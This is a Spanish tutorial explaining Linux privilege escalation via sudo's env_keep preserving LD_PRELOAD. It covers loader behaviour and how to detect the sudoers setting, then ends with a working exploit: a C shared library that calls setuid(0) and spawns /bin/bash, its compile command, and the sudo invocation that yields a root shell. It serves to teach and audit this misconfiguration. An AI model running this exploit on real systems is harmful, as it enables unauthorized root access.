Escalada de privilegios con sudo / env_keep / LD_PRELOAD

LD_PRELOAD es una variable de entorno de uso opcional. Contiene una o más rutas a bibliotecas u objetos compartidos que tendrán más prioridad que las ubicadas en las rutas estándar, incluida la biblioteca de tiempo de ejecución de C (libc.so). A esta funcionalidad se le denomina precargar librerías. Precargar una biblioteca significa que sus funciones se usarán antes que otras del mismo nombre en bibliotecas posteriores. Esto permite que las funciones de la biblioteca sean interceptadas y reemplazadas (sobrescritas). Como resultado, el comportamiento del programa puede modificarse de forma no invasiva, es decir, no es necesaria una recopilación. Obviamente, esto solo afecta a las aplicaciones vinculadas dinámicamente,

Para evitar que “LD_PRELOAD” se utilice como un vector de ataque para los binarios ejecutables suid / sgid, el cargador ignora las rutas de “LD_PRELOAD” si el UID real no es el mismo que el efectivo “ruid != euid”. En esos casos las bibliotecas en rutas estándar (que también pueden contener son suid / sgid serán precargadas).

Algunos usuarios usan “LD_PRELOAD” para especificar bibliotecas en ubicaciones no estándar, pero la variable de entorno LD_LIBRARY_PATH es una solución mejor para ese menester. Se debe tener en cuenta que las bibliotecas compartidas especificadas en “/etc/ld.so.preload” se cargan antes de las bibliotecas especificadas por “LD_PRELOAD”. La biblioteca libc comprueba la existencia de “/etc/ld.so.preload” y si se encuentra, carga las bibliotecas compartidas enumeradas tal como lo haría la configuración de la variable de entorno “LD_PRELOAD”.

La ventaja de utilizar “/etc/ld.so.preload” es que estas bibliotecas compartidas son implícitamente confiables y, por lo tanto, la condición “ruid != euid” no se aplica. Por lo tanto, el cargador usará los objetos compartidos listados en “/etc/ld.so.preload” incluso para los binarios ejecutables suid / sgid.

Detectar la posibilidad de escalado de privilegios mediante “sudo” y “LD_PRELOAD”.

Si el usuario puede ejecutar algún comando con “sudo” y la configuración de sudo contiene la siguiente linea, la posibilidad de escalada de privilegios está prácticamente garantizada.

sudo -l
...
env_keep+=LD_PRELOAD

Fichero /etc/sudoers.

Defaults        env_keep += LD_PRELOAD

Si no se tiene dicha configuración, sudo no permitirá el uso de la variable LD_PRELOAD.

sudo: sorry, you are not allowed to set the following environment variables: LD_PRELOAD

env_keep Permite definir las variables de entorno que se conservarán en el entorno del usuario cuando la opción “env_reset” esté activada en “/etc/sudoers” (por defecto). Por lo tanto, esto deja la configuración de la variable “LD_PRELOAD” accesible desde sudo, permitiendo que creemos una librería que ejecute una shell y arrancarla con sudo usando su ruta en “LD_PRELOAD”.

test.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
 
void _init() {
unsetenv("LD_PRELOAD");
 
setuid(0);
system("/bin/bash");
}

Compilar la librería compartida test.so que arrancará una shell /bin/bash.

gcc -fPIC -shared -o test.so test.c -nostartfiles

Ahora ya podemos escalar privilegios ejecutando cualquier comando disponible mediante sudo.

sudo LD_PRELOAD=/home/XX/test.so <COMMAND>

Lecturas recomendada: